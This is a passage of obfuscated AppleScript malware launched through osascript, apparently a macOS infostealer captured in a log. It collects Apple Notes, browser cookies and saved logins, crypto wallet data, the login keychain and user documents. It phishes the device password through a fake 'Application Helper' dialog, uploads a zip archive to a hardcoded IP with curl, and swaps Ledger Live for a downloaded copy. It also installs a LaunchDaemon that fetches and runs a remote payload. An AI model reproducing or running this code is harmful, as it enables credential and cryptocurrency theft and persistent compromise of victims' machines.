return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" \| sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & \\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return'"	Process not Found
osascript -e "tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" \| awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", 